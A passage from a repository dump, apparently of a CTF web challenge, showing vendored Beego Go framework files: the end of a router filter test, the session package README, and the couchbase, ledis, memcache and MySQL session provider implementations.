false)\n\n\tmux.Get(url, beegoFilterFunc)\n\n\trw, r := testRequest(\"GET\", url)\n\tmux.ServeHTTP(rw, r)\n\n\tif !strings.Contains(rw.Body.String(), \"FinishRouter1\") {\n\t\tt.Errorf(testName + \" FinishRouter1 did not run\")\n\t}\n\tif !strings.Contains(rw.Body.String(), \"hello\") {\n\t\tt.Errorf(testName + \" handler did not run properly\")\n\t}\n\tif !strings.Contains(rw.Body.String(), \"FinishRouter2\") {\n\t\tt.Errorf(testName + \" FinishRouter2 did not run properly\")\n\t}\n}\n\nfunc beegoFilterNoOutput(ctx *context.Context) {\n}\n\nfunc beegoBeforeRouter1(ctx *context.Context) {\n\tctx.WriteString(\"|BeforeRouter1\")\n}\n\nfunc beegoBeforeRouter2(ctx *context.Context) {\n\tctx.WriteString(\"|BeforeRouter2\")\n}\n\nfunc beegoBeforeExec1(ctx *context.Context) {\n\tctx.WriteString(\"|BeforeExec1\")\n}\n\nfunc beegoBeforeExec2(ctx *context.Context) {\n\tctx.WriteString(\"|BeforeExec2\")\n}\n\nfunc beegoAfterExec1(ctx *context.Context) {\n\tctx.WriteString(\"|AfterExec1\")\n}\n\nfunc beegoAfterExec2(ctx *context.Context) {\n\tctx.WriteString(\"|AfterExec2\")\n}\n\nfunc beegoFinishRouter1(ctx *context.Context) {\n\tctx.WriteString(\"|FinishRouter1\")\n}\n\nfunc beegoFinishRouter2(ctx *context.Context) {\n\tctx.WriteString(\"|FinishRouter2\")\n}\n\nfunc beegoResetParams(ctx *context.Context) {\n\tctx.ResponseWriter.Header().Set(\"splat\", ctx.Input.Param(\":splat\"))\n}\n\nfunc beegoHandleResetParams(ctx *context.Context) {\n\tctx.ResponseWriter.Header().Set(\"splat\", ctx.Input.Param(\":splat\"))\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/README.md",
    "content": "session\n==============\n\nsession is a Go session manager. It can use many session providers. Just like the `database/sql` and `database/sql/driver`.\n\n## How to install?\n\n\tgo get github.com/astaxie/beego/session\n\n\n## What providers are supported?\n\nAs of now this session manager support memory, file, Redis and MySQL.\n\n\n## How to use it?\n\nFirst you must import it\n\n\timport (\n\t\t\"github.com/astaxie/beego/session\"\n\t)\n\nThen in you web app init the global session manager\n\t\n\tvar globalSessions *session.Manager\n\n* Use **memory** as provider:\n\n\t\tfunc init() {\n\t\t\tglobalSessions, _ = session.NewManager(\"memory\", `{\"cookieName\":\"gosessionid\",\"gclifetime\":3600}`)\n\t\t\tgo globalSessions.GC()\n\t\t}\n\n* Use **file** as provider, the last param is the path where you want file to be stored:\n\n\t\tfunc init() {\n\t\t\tglobalSessions, _ = session.NewManager(\"file\",`{\"cookieName\":\"gosessionid\",\"gclifetime\":3600,\"ProviderConfig\":\"./tmp\"}`)\n\t\t\tgo globalSessions.GC()\n\t\t}\n\n* Use **Redis** as provider, the last param is the Redis conn address,poolsize,password:\n\n\t\tfunc init() {\n\t\t\tglobalSessions, _ = session.NewManager(\"redis\", `{\"cookieName\":\"gosessionid\",\"gclifetime\":3600,\"ProviderConfig\":\"127.0.0.1:6379,100,astaxie\"}`)\n\t\t\tgo globalSessions.GC()\n\t\t}\n\t\t\n* Use **MySQL** as provider, the last param is the DSN, learn more from [mysql](https://github.com/go-sql-driver/mysql#dsn-data-source-name):\n\n\t\tfunc init() {\n\t\t\tglobalSessions, _ = session.NewManager(\n\t\t\t\t\"mysql\", `{\"cookieName\":\"gosessionid\",\"gclifetime\":3600,\"ProviderConfig\":\"username:password@protocol(address)/dbname?param=value\"}`)\n\t\t\tgo globalSessions.GC()\n\t\t}\n\n* Use **Cookie** as provider:\n\n\t\tfunc init() {\n\t\t\tglobalSessions, _ = session.NewManager(\n\t\t\t\t\"cookie\", `{\"cookieName\":\"gosessionid\",\"enableSetCookie\":false,\"gclifetime\":3600,\"ProviderConfig\":\"{\\\"cookieName\\\":\\\"gosessionid\\\",\\\"securityKey\\\":\\\"beegocookiehashkey\\\"}\"}`)\n\t\t\tgo globalSessions.GC()\n\t\t}\n\n\nFinally in the handlerfunc you can use it like this\n\n\tfunc login(w http.ResponseWriter, r *http.Request) {\n\t\tsess := globalSessions.SessionStart(w, r)\n\t\tdefer sess.SessionRelease(w)\n\t\tusername := sess.Get(\"username\")\n\t\tfmt.Println(username)\n\t\tif r.Method == \"GET\" {\n\t\t\tt, _ := template.ParseFiles(\"login.gtpl\")\n\t\t\tt.Execute(w, nil)\n\t\t} else {\n\t\t\tfmt.Println(\"username:\", r.Form[\"username\"])\n\t\t\tsess.Set(\"username\", r.Form[\"username\"])\n\t\t\tfmt.Println(\"password:\", r.Form[\"password\"])\n\t\t}\n\t}\n\n\n## How to write own provider?\n\nWhen you develop a web app, maybe you want to write own provider because you must meet the requirements.\n\nWriting a provider is easy. You only need to define two struct types \n(Session and Provider), which satisfy the interface definition. \nMaybe you will find the **memory** provider is a good example.\n\n\ttype SessionStore interface {\n\t\tSet(key, value interface{}) error     //set session value\n\t\tGet(key interface{}) interface{}      //get session value\n\t\tDelete(key interface{}) error         //delete session value\n\t\tSessionID() string                    //back current sessionID\n\t\tSessionRelease(w http.ResponseWriter) // release the resource & save data to provider & return the data\n\t\tFlush() error                         //delete all data\n\t}\n\t\n\ttype Provider interface {\n\t\tSessionInit(gclifetime int64, config string) error\n\t\tSessionRead(sid string) (SessionStore, error)\n\t\tSessionExist(sid string) bool\n\t\tSessionRegenerate(oldsid, sid string) (SessionStore, error)\n\t\tSessionDestroy(sid string) error\n\t\tSessionAll() int //get all active session\n\t\tSessionGC()\n\t}\n\n\n## LICENSE\n\nBSD License http://creativecommons.org/licenses/BSD/\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/couchbase/sess_couchbase.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package couchbase for session provider\n//\n// depend on github.com/couchbaselabs/go-couchbasee\n//\n// go install github.com/couchbaselabs/go-couchbase\n//\n// Usage:\n// import(\n//   _ \"github.com/astaxie/beego/session/couchbase\"\n//   \"github.com/astaxie/beego/session\"\n// )\n//\n//\tfunc init() {\n//\t\tglobalSessions, _ = session.NewManager(\"couchbase\", ``{\"cookieName\":\"gosessionid\",\"gclifetime\":3600,\"ProviderConfig\":\"http://host:port/, Pool, Bucket\"}``)\n//\t\tgo globalSessions.GC()\n//\t}\n//\n// more docs: http://beego.me/docs/module/session.md\npackage couchbase\n\nimport (\n\t\"net/http\"\n\t\"strings\"\n\t\"sync\"\n\n\tcouchbase \"github.com/couchbase/go-couchbase\"\n\n\t\"github.com/astaxie/beego/session\"\n)\n\nvar couchbpder = &Provider{}\n\n// SessionStore store each session\ntype SessionStore struct {\n\tb           *couchbase.Bucket\n\tsid         string\n\tlock        sync.RWMutex\n\tvalues      map[interface{}]interface{}\n\tmaxlifetime int64\n}\n\n// Provider couchabse provided\ntype Provider struct {\n\tmaxlifetime int64\n\tsavePath    string\n\tpool        string\n\tbucket      string\n\tb           *couchbase.Bucket\n}\n\n// Set value to couchabse session\nfunc (cs *SessionStore) Set(key, value interface{}) error {\n\tcs.lock.Lock()\n\tdefer cs.lock.Unlock()\n\tcs.values[key] = value\n\treturn nil\n}\n\n// Get value from couchabse session\nfunc (cs *SessionStore) Get(key interface{}) interface{} {\n\tcs.lock.RLock()\n\tdefer cs.lock.RUnlock()\n\tif v, ok := cs.values[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}\n\n// Delete value in couchbase session by given key\nfunc (cs *SessionStore) Delete(key interface{}) error {\n\tcs.lock.Lock()\n\tdefer cs.lock.Unlock()\n\tdelete(cs.values, key)\n\treturn nil\n}\n\n// Flush Clean all values in couchbase session\nfunc (cs *SessionStore) Flush() error {\n\tcs.lock.Lock()\n\tdefer cs.lock.Unlock()\n\tcs.values = make(map[interface{}]interface{})\n\treturn nil\n}\n\n// SessionID Get couchbase session store id\nfunc (cs *SessionStore) SessionID() string {\n\treturn cs.sid\n}\n\n// SessionRelease Write couchbase session with Gob string\nfunc (cs *SessionStore) SessionRelease(w http.ResponseWriter) {\n\tdefer cs.b.Close()\n\n\tbo, err := session.EncodeGob(cs.values)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tcs.b.Set(cs.sid, int(cs.maxlifetime), bo)\n}\n\nfunc (cp *Provider) getBucket() *couchbase.Bucket {\n\tc, err := couchbase.Connect(cp.savePath)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\tpool, err := c.GetPool(cp.pool)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\tbucket, err := pool.GetBucket(cp.bucket)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\treturn bucket\n}\n\n// SessionInit init couchbase session\n// savepath like couchbase server REST/JSON URL\n// e.g. http://host:port/, Pool, Bucket\nfunc (cp *Provider) SessionInit(maxlifetime int64, savePath string) error {\n\tcp.maxlifetime = maxlifetime\n\tconfigs := strings.Split(savePath, \",\")\n\tif len(configs) > 0 {\n\t\tcp.savePath = configs[0]\n\t}\n\tif len(configs) > 1 {\n\t\tcp.pool = configs[1]\n\t}\n\tif len(configs) > 2 {\n\t\tcp.bucket = configs[2]\n\t}\n\n\treturn nil\n}\n\n// SessionRead read couchbase session by sid\nfunc (cp *Provider) SessionRead(sid string) (session.Store, error) {\n\tcp.b = cp.getBucket()\n\n\tvar (\n\t\tkv  map[interface{}]interface{}\n\t\terr error\n\t\tdoc []byte\n\t)\n\n\terr = cp.b.Get(sid, &doc)\n\tif err != nil {\n\t\treturn nil, err\n\t} else if doc == nil {\n\t\tkv = make(map[interface{}]interface{})\n\t} else {\n\t\tkv, err = session.DecodeGob(doc)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tcs := &SessionStore{b: cp.b, sid: sid, values: kv, maxlifetime: cp.maxlifetime}\n\treturn cs, nil\n}\n\n// SessionExist Check couchbase session exist.\n// it checkes sid exist or not.\nfunc (cp *Provider) SessionExist(sid string) bool {\n\tcp.b = cp.getBucket()\n\tdefer cp.b.Close()\n\n\tvar doc []byte\n\n\tif err := cp.b.Get(sid, &doc); err != nil || doc == nil {\n\t\treturn false\n\t}\n\treturn true\n}\n\n// SessionRegenerate remove oldsid and use sid to generate new session\nfunc (cp *Provider) SessionRegenerate(oldsid, sid string) (session.Store, error) {\n\tcp.b = cp.getBucket()\n\n\tvar doc []byte\n\tif err := cp.b.Get(oldsid, &doc); err != nil || doc == nil {\n\t\tcp.b.Set(sid, int(cp.maxlifetime), \"\")\n\t} else {\n\t\terr := cp.b.Delete(oldsid)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t_, _ = cp.b.Add(sid, int(cp.maxlifetime), doc)\n\t}\n\n\terr := cp.b.Get(sid, &doc)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar kv map[interface{}]interface{}\n\tif doc == nil {\n\t\tkv = make(map[interface{}]interface{})\n\t} else {\n\t\tkv, err = session.DecodeGob(doc)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tcs := &SessionStore{b: cp.b, sid: sid, values: kv, maxlifetime: cp.maxlifetime}\n\treturn cs, nil\n}\n\n// SessionDestroy Remove bucket in this couchbase\nfunc (cp *Provider) SessionDestroy(sid string) error {\n\tcp.b = cp.getBucket()\n\tdefer cp.b.Close()\n\n\tcp.b.Delete(sid)\n\treturn nil\n}\n\n// SessionGC Recycle\nfunc (cp *Provider) SessionGC() {\n}\n\n// SessionAll return all active session\nfunc (cp *Provider) SessionAll() int {\n\treturn 0\n}\n\nfunc init() {\n\tsession.Register(\"couchbase\", couchbpder)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/ledis/ledis_session.go",
    "content": "// Package ledis provide session Provider\npackage ledis\n\nimport (\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/astaxie/beego/session\"\n\t\"github.com/siddontang/ledisdb/config\"\n\t\"github.com/siddontang/ledisdb/ledis\"\n)\n\nvar (\n\tledispder = &Provider{}\n\tc         *ledis.DB\n)\n\n// SessionStore ledis session store\ntype SessionStore struct {\n\tsid         string\n\tlock        sync.RWMutex\n\tvalues      map[interface{}]interface{}\n\tmaxlifetime int64\n}\n\n// Set value in ledis session\nfunc (ls *SessionStore) Set(key, value interface{}) error {\n\tls.lock.Lock()\n\tdefer ls.lock.Unlock()\n\tls.values[key] = value\n\treturn nil\n}\n\n// Get value in ledis session\nfunc (ls *SessionStore) Get(key interface{}) interface{} {\n\tls.lock.RLock()\n\tdefer ls.lock.RUnlock()\n\tif v, ok := ls.values[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}\n\n// Delete value in ledis session\nfunc (ls *SessionStore) Delete(key interface{}) error {\n\tls.lock.Lock()\n\tdefer ls.lock.Unlock()\n\tdelete(ls.values, key)\n\treturn nil\n}\n\n// Flush clear all values in ledis session\nfunc (ls *SessionStore) Flush() error {\n\tls.lock.Lock()\n\tdefer ls.lock.Unlock()\n\tls.values = make(map[interface{}]interface{})\n\treturn nil\n}\n\n// SessionID get ledis session id\nfunc (ls *SessionStore) SessionID() string {\n\treturn ls.sid\n}\n\n// SessionRelease save session values to ledis\nfunc (ls *SessionStore) SessionRelease(w http.ResponseWriter) {\n\tb, err := session.EncodeGob(ls.values)\n\tif err != nil {\n\t\treturn\n\t}\n\tc.Set([]byte(ls.sid), b)\n\tc.Expire([]byte(ls.sid), ls.maxlifetime)\n}\n\n// Provider ledis session provider\ntype Provider struct {\n\tmaxlifetime int64\n\tsavePath    string\n\tdb          int\n}\n\n// SessionInit init ledis session\n// savepath like ledis server saveDataPath,pool size\n// e.g. 127.0.0.1:6379,100,astaxie\nfunc (lp *Provider) SessionInit(maxlifetime int64, savePath string) error {\n\tvar err error\n\tlp.maxlifetime = maxlifetime\n\tconfigs := strings.Split(savePath, \",\")\n\tif len(configs) == 1 {\n\t\tlp.savePath = configs[0]\n\t} else if len(configs) == 2 {\n\t\tlp.savePath = configs[0]\n\t\tlp.db, err = strconv.Atoi(configs[1])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tcfg := new(config.Config)\n\tcfg.DataDir = lp.savePath\n\n\tvar ledisInstance *ledis.Ledis\n\tledisInstance, err = ledis.Open(cfg)\n\tif err != nil {\n\t\treturn err\n\t}\n\tc, err = ledisInstance.Select(lp.db)\n\treturn err\n}\n\n// SessionRead read ledis session by sid\nfunc (lp *Provider) SessionRead(sid string) (session.Store, error) {\n\tvar (\n\t\tkv  map[interface{}]interface{}\n\t\terr error\n\t)\n\n\tkvs, _ := c.Get([]byte(sid))\n\n\tif len(kvs) == 0 {\n\t\tkv = make(map[interface{}]interface{})\n\t} else {\n\t\tif kv, err = session.DecodeGob(kvs); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tls := &SessionStore{sid: sid, values: kv, maxlifetime: lp.maxlifetime}\n\treturn ls, nil\n}\n\n// SessionExist check ledis session exist by sid\nfunc (lp *Provider) SessionExist(sid string) bool {\n\tcount, _ := c.Exists([]byte(sid))\n\treturn !(count == 0)\n}\n\n// SessionRegenerate generate new sid for ledis session\nfunc (lp *Provider) SessionRegenerate(oldsid, sid string) (session.Store, error) {\n\tcount, _ := c.Exists([]byte(sid))\n\tif count == 0 {\n\t\t// oldsid doesn't exists, set the new sid directly\n\t\t// ignore error here, since if it return error\n\t\t// the existed value will be 0\n\t\tc.Set([]byte(sid), []byte(\"\"))\n\t\tc.Expire([]byte(sid), lp.maxlifetime)\n\t} else {\n\t\tdata, _ := c.Get([]byte(oldsid))\n\t\tc.Set([]byte(sid), data)\n\t\tc.Expire([]byte(sid), lp.maxlifetime)\n\t}\n\treturn lp.SessionRead(sid)\n}\n\n// SessionDestroy delete ledis session by id\nfunc (lp *Provider) SessionDestroy(sid string) error {\n\tc.Del([]byte(sid))\n\treturn nil\n}\n\n// SessionGC Impelment method, no used.\nfunc (lp *Provider) SessionGC() {\n}\n\n// SessionAll return all active session\nfunc (lp *Provider) SessionAll() int {\n\treturn 0\n}\nfunc init() {\n\tsession.Register(\"ledis\", ledispder)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/memcache/sess_memcache.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package memcache for session provider\n//\n// depend on github.com/bradfitz/gomemcache/memcache\n//\n// go install github.com/bradfitz/gomemcache/memcache\n//\n// Usage:\n// import(\n//   _ \"github.com/astaxie/beego/session/memcache\"\n//   \"github.com/astaxie/beego/session\"\n// )\n//\n//\tfunc init() {\n//\t\tglobalSessions, _ = session.NewManager(\"memcache\", ``{\"cookieName\":\"gosessionid\",\"gclifetime\":3600,\"ProviderConfig\":\"127.0.0.1:11211\"}``)\n//\t\tgo globalSessions.GC()\n//\t}\n//\n// more docs: http://beego.me/docs/module/session.md\npackage memcache\n\nimport (\n\t\"net/http\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/astaxie/beego/session\"\n\n\t\"github.com/bradfitz/gomemcache/memcache\"\n)\n\nvar mempder = &MemProvider{}\nvar client *memcache.Client\n\n// SessionStore memcache session store\ntype SessionStore struct {\n\tsid         string\n\tlock        sync.RWMutex\n\tvalues      map[interface{}]interface{}\n\tmaxlifetime int64\n}\n\n// Set value in memcache session\nfunc (rs *SessionStore) Set(key, value interface{}) error {\n\trs.lock.Lock()\n\tdefer rs.lock.Unlock()\n\trs.values[key] = value\n\treturn nil\n}\n\n// Get value in memcache session\nfunc (rs *SessionStore) Get(key interface{}) interface{} {\n\trs.lock.RLock()\n\tdefer rs.lock.RUnlock()\n\tif v, ok := rs.values[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}\n\n// Delete value in memcache session\nfunc (rs *SessionStore) Delete(key interface{}) error {\n\trs.lock.Lock()\n\tdefer rs.lock.Unlock()\n\tdelete(rs.values, key)\n\treturn nil\n}\n\n// Flush clear all values in memcache session\nfunc (rs *SessionStore) Flush() error {\n\trs.lock.Lock()\n\tdefer rs.lock.Unlock()\n\trs.values = make(map[interface{}]interface{})\n\treturn nil\n}\n\n// SessionID get memcache session id\nfunc (rs *SessionStore) SessionID() string {\n\treturn rs.sid\n}\n\n// SessionRelease save session values to memcache\nfunc (rs *SessionStore) SessionRelease(w http.ResponseWriter) {\n\tb, err := session.EncodeGob(rs.values)\n\tif err != nil {\n\t\treturn\n\t}\n\titem := memcache.Item{Key: rs.sid, Value: b, Expiration: int32(rs.maxlifetime)}\n\tclient.Set(&item)\n}\n\n// MemProvider memcache session provider\ntype MemProvider struct {\n\tmaxlifetime int64\n\tconninfo    []string\n\tpoolsize    int\n\tpassword    string\n}\n\n// SessionInit init memcache session\n// savepath like\n// e.g. 127.0.0.1:9090\nfunc (rp *MemProvider) SessionInit(maxlifetime int64, savePath string) error {\n\trp.maxlifetime = maxlifetime\n\trp.conninfo = strings.Split(savePath, \";\")\n\tclient = memcache.New(rp.conninfo...)\n\treturn nil\n}\n\n// SessionRead read memcache session by sid\nfunc (rp *MemProvider) SessionRead(sid string) (session.Store, error) {\n\tif client == nil {\n\t\tif err := rp.connectInit(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\titem, err := client.Get(sid)\n\tif err != nil && err == memcache.ErrCacheMiss {\n\t\trs := &SessionStore{sid: sid, values: make(map[interface{}]interface{}), maxlifetime: rp.maxlifetime}\n\t\treturn rs, nil\n\t}\n\tvar kv map[interface{}]interface{}\n\tif len(item.Value) == 0 {\n\t\tkv = make(map[interface{}]interface{})\n\t} else {\n\t\tkv, err = session.DecodeGob(item.Value)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\trs := &SessionStore{sid: sid, values: kv, maxlifetime: rp.maxlifetime}\n\treturn rs, nil\n}\n\n// SessionExist check memcache session exist by sid\nfunc (rp *MemProvider) SessionExist(sid string) bool {\n\tif client == nil {\n\t\tif err := rp.connectInit(); err != nil {\n\t\t\treturn false\n\t\t}\n\t}\n\tif item, err := client.Get(sid); err != nil || len(item.Value) == 0 {\n\t\treturn false\n\t}\n\treturn true\n}\n\n// SessionRegenerate generate new sid for memcache session\nfunc (rp *MemProvider) SessionRegenerate(oldsid, sid string) (session.Store, error) {\n\tif client == nil {\n\t\tif err := rp.connectInit(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tvar contain []byte\n\tif item, err := client.Get(sid); err != nil || len(item.Value) == 0 {\n\t\t// oldsid doesn't exists, set the new sid directly\n\t\t// ignore error here, since if it return error\n\t\t// the existed value will be 0\n\t\titem.Key = sid\n\t\titem.Value = []byte(\"\")\n\t\titem.Expiration = int32(rp.maxlifetime)\n\t\tclient.Set(item)\n\t} else {\n\t\tclient.Delete(oldsid)\n\t\titem.Key = sid\n\t\titem.Expiration = int32(rp.maxlifetime)\n\t\tclient.Set(item)\n\t\tcontain = item.Value\n\t}\n\n\tvar kv map[interface{}]interface{}\n\tif len(contain) == 0 {\n\t\tkv = make(map[interface{}]interface{})\n\t} else {\n\t\tvar err error\n\t\tkv, err = session.DecodeGob(contain)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\trs := &SessionStore{sid: sid, values: kv, maxlifetime: rp.maxlifetime}\n\treturn rs, nil\n}\n\n// SessionDestroy delete memcache session by id\nfunc (rp *MemProvider) SessionDestroy(sid string) error {\n\tif client == nil {\n\t\tif err := rp.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn client.Delete(sid)\n}\n\nfunc (rp *MemProvider) connectInit() error {\n\tclient = memcache.New(rp.conninfo...)\n\treturn nil\n}\n\n// SessionGC Impelment method, no used.\nfunc (rp *MemProvider) SessionGC() {\n}\n\n// SessionAll return all activeSession\nfunc (rp *MemProvider) SessionAll() int {\n\treturn 0\n}\n\nfunc init() {\n\tsession.Register(\"memcache\", mempder)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/mysql/sess_mysql.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package mysql for session provider\n//\n// depends on github.com/go-sql-driver/mysql:\n//\n// go install github.com/go-sql-driver/mysql\n//\n// mysql session support need create table as sql:\n//\tCREATE TABLE `session` (\n//\t`session_key` char(64) NOT NULL,\n//\t`session_data` blob,\n//\t`session_expiry` int(11) unsigned NOT NULL,\n//\tPRIMARY KEY (`session_key`)\n//\t) ENGINE=MyISAM DEFAULT CHARSET=utf8;\n//\n// Usage:\n// import(\n//   _ \"github.com/astaxie/beego/session/mysql\"\n//   \"github.com/astaxie/beego/session\"\n// )\n//\n//\tfunc init() {\n//\t\tglobalSessions, _ = session.NewManager(\"mysql\", ``{\"cookieName\":\"gosessionid\",\"gclifetime\":3600,\"ProviderConfig\":\"[username[:password]@][protocol[(address)]]/dbname[?param1=value1&...&paramN=valueN]\"}``)\n//\t\tgo globalSessions.GC()\n//\t}\n//\n// more docs: http://beego.me/docs/module/session.md\npackage mysql\n\nimport (\n\t\"database/sql\"\n\t\"net/http\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego/session\"\n\t// import mysql driver\n\t_ \"github.com/go-sql-driver/mysql\"\n)\n\nvar (\n\t// TableName store the session in MySQL\n\tTableName = \"session\"\n\tmysqlpder = &Provider{}\n)\n\n// SessionStore mysql session store\ntype SessionStore struct {\n\tc      *sql.DB\n\tsid    string\n\tlock   sync.RWMutex\n\tvalues map[interface{}]interface{}\n}\n\n// Set value in mysql session.\n// it is temp value in map.\nfunc (st *SessionStore) Set(key, value interface{}) error {\n\tst.lock.Lock()\n\tdefer st.lock.Unlock()\n\tst.values[key] = value\n\treturn nil\n}\n\n// Get value from mysql session\nfunc (st *SessionStore) Get(key interface{}) interface{} {\n\tst.lock.RLock()\n\tdefer st.lock.RUnlock()\n\tif v, ok := st.values[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}\n\n// Delete value in mysql session\nfunc (st *SessionStore) Delete(key interface{}) error {\n\tst.lock.Lock()\n\tdefer st.lock.Unlock()\n\tdelete(st.values, key)\n\treturn nil\n}\n\n// Flush clear all values in mysql session\nfunc (st *SessionStore) Flush() error {\n\tst.lock.Lock()\n\tdefer st.lock.Unlock()\n\tst.values = make(map[interface{}]interface{})\n\treturn nil\n}\n\n// SessionID get session id of this mysql session store\nfunc (st *SessionStore) SessionID() string {\n\treturn st.sid\n}\n\n// SessionRelease save mysql session values to database.\n// must call this method to save values to database.\nfunc (st *SessionStore) SessionRelease(w http.ResponseWriter) {\n\tdefer st.c.Close()\n\tb, err := session.EncodeGob(st.values)\n\tif err != nil {\n\t\treturn\n\t}\n\tst.c.Exec(\"UPDATE \"+TableName+\" set `session_data`=?, `session_expiry`=? where session_key=?\",\n\t\tb, time.Now().Unix(), st.sid)\n}\n\n// Provider mysql session provider\ntype Provider struct {\n\tmaxlifetime int64\n\tsavePath    string\n}\n\n// connect to mysql\nfunc (mp *Provider) connectInit() *sql.DB {\n\tdb, e := sql.Open(\"mysql\", mp.savePath)\n\tif e != nil {\n\t\treturn nil\n\t}\n\treturn db\n}\n\n// SessionInit init mysql session.\n// savepath is the connection string of mysql.\nfunc (mp *Provider) SessionInit(maxlifetime int64, savePath string) error {\n\tmp.maxlifetime = maxlifetime\n\tmp.savePath = savePath\n\treturn nil\n}\n\n// SessionRead get mysql session by sid\nfunc (mp *Provider) SessionRead(sid string) (session.Store, error) {\n\tc := mp.connectInit()\n\trow := c.QueryRow(\"select session_data from \"+TableName+\" where session_key=?\", sid)\n\tvar sessiondata []byte\n\terr := row.Scan(&sessiondata)\n\tif err == sql.ErrNoRows {\n\t\tc.Exec(\"insert into \"+TableName+\"(`session_key`,`session_data`,`session_expiry`) values(?,?,?)\",\n\t\t\tsid, \"\", time.Now().Unix())\n\t}\n\tvar kv map[interface{}]interface{}\n\tif len(sessiondata) == 0 {\n\t\tkv = make(map[interface{}]interface{})\n\t} else {\n\t\tkv, err = session.DecodeGob(sessiondata)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\trs := &SessionStore{c: c, sid: sid, values: kv}\n\treturn rs, nil\n}\n\n// SessionExist check mysql session exist\nfunc (mp *Provider) SessionExist(sid string) bool {\n\tc := mp.connectInit()\n\tdefer c.Close()\n\trow := c.QueryRow(\"select session_data from \"+TableName+\" where session_key=?\", sid)\n\tvar sessiondata []byte\n\terr := row.Scan(&sessiondata)\n\treturn !(err == sql.ErrNoRows)\n}\n\n// SessionRegenerate generate new sid for mysql session\nfunc (mp *Provider) SessionRegenerate(oldsid, sid string) (session.Store, error) {\n\tc := mp.connectInit()\n\trow := c.QueryRow(\"select session_data from \"+TableName+\" where session_key=?\", oldsid)\n\tvar sessiondata []byte\n\terr := row.Scan(&sessiondata)\n\tif err == sql.ErrNoRows {\n\t\tc.Exec(\"insert into \"+TableName+\"(`session_key`,`session_data`,`session_expiry`) values(?,?,?)\", oldsid, \"\", time.Now().Unix())\n\t}\n\tc.Exec(\"update \"+TableName+\" set `session_key`=? where session_key=?\", sid, oldsid)\n\tvar kv map[interface{}]interface{}\n\tif len(sessiondata) == 0 {\n\t\tkv = make(map[interface{}]interface{})\n\t} else {\n\t\tkv, err = session.DecodeGob(sessiondata)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\trs := &SessionStore{c: c, sid: sid, values: kv}\n\treturn rs, nil\n}\n\n// SessionDestroy delete mysql session by sid\nfunc (mp *Provider) SessionDestroy(sid string) error {\n\tc := mp.connectInit()\n\tc.Exec(\"DELETE FROM \"+TableName+\" where session_key=?\", sid)\n\tc.Close()\n\treturn nil\n}\n\n// SessionGC delete expired values in mysql session\nfunc (mp *Provider) SessionGC() {\n\tc := mp.connectInit()\n\tc.Exec(\"DELETE from \"+TableName+\" where session_expiry < ?\", time.Now().Unix()-mp.maxlifetime)\n\tc.Close()\n}\n\n// SessionAll count values in mysql session\nfunc (mp *Provider) SessionAll() int {\n\tc := mp.connectInit()\n\tdefer c.Close()\n\tvar total int\n\terr := c.QueryRow(\"SELECT count(*) as num from \" + TableName).Scan(&total)\n\tif err != nil {\n\t\treturn 0\n\t}\n\treturn total\n}\n\nfunc init() {\n\tsession.Register(\"mysql\", mysqlpder)\n}\n"
  },
  {
